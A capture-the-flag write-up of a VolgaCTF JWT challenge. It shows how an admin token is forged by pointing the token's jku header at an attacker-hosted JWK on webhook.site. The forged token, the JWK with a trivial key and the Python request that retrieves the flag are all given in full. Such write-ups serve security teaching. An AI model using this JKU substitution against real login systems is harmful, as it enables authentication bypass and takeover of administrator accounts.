Challenge
Login + Register page using JWT, requiring you to for a JWT for the admin user. This is possible, because the JWK can be passed in the JKU attribute.
Solution
-
Create an account at http://172.105.68.62:8080/ with any credentials, i.e. asdf_
-
You get a JWT like this:
eyJraWQiOiJIUzI1NiIsImFsZyI6IkhTMjU2In0.eyJqa3UiOiJodHRwOi8vbG9jYWxob3N0OjgwODAvc2VjcmV0IiwiZXhwIjoxNjE3NDc2NjA4LCJqdGkiOiJhX0E0RWV2RnNqUXhPVkJrRXlRMVd3IiwiaWF0IjoxNjE2ODcxODA4LCJuYmYiOjE2MTY4NzE2ODgsInN1YiI6ImFzZGZfIn0.uOAlfeZu0HUx9UeJWCsiysjP9hLlih498CSJJRqxSqQ
-
With https://jwt.io you can decode/modify this to see the contents: Header: { “kid”: “HS256”, “alg”: “HS256” } Payload: { “jku”: “http://localhost:8080/secret”, “exp”: 1617476608, “jti”: “a_A4EevFsjQxOVBkEyQ1Ww”, “iat”: 1616871808, “nbf”: 1616871688, “sub”: “asdf_” }
JWT supports JSON Web Keys (JWK), and if the feature is enabled, the url to the JWK can be passed in the jku-parameter (typically in the head, not in the body). Here this is http://localhost:8080/secret, but it also allows other urls. The kid in the header is just the key-id inside this JWK file.
- To check if this allows external sites, we create a https://webhook.site, and modify the jku url inside. This can be done with the https://jwt.io website.
Sidenote: The python jwt lib doesn’t properly sign jwt tokens when proivided with a secret
We find that the site actually receives an request, even though the server responds with an error, as the signature now is wrong.
-
Now we just have to set up a JWK file on our webhook.site, by clicking the edit button to serve content we want to, i.e.
{"kty": "oct", "use": "sig", "kid": "HS256", "alg": "HS256", "k": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}
-
Then we change the jku to the webhook url and the “sub” to admin and use jwt.io to sign the new request with aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa (check: base64 encoded) and we send the request with this token:
- We send it with
import requests token = "eyJraWQiOiJIUzI1NiIsImFsZyI6IkhTMjU2In0.eyJqa3UiOiIgaHR0cHM6Ly93ZWJob29rLnNpdGUvYzllMGZmN2UtM2IwZS00NTQzLTg2ZjMtODQwODFlYTg0NmMyICIsImV4cCI6MTYxNzQ3NjYwOCwianRpIjoiYV9BNEVldkZzalF4T1ZCa0V5UTFXdyIsImlhdCI6MTYxNjg3MTgwOCwibmJmIjoxNjE2ODcxNjg4LCJzdWIiOiJhZG1pbiJ9.JOKw0uNKrF-3mJcVi5iAQ2qzokg4gl_qrUVAVIUARnI" requests.get("http://172.105.68.62:8080/say-hi", cookies={"token": token}).text
and receive the response Flag is here VolgaCTF{jW5_jku_5u85T1TUt10n}
inside some HTML, instead of “You’re a simple user” we typically get.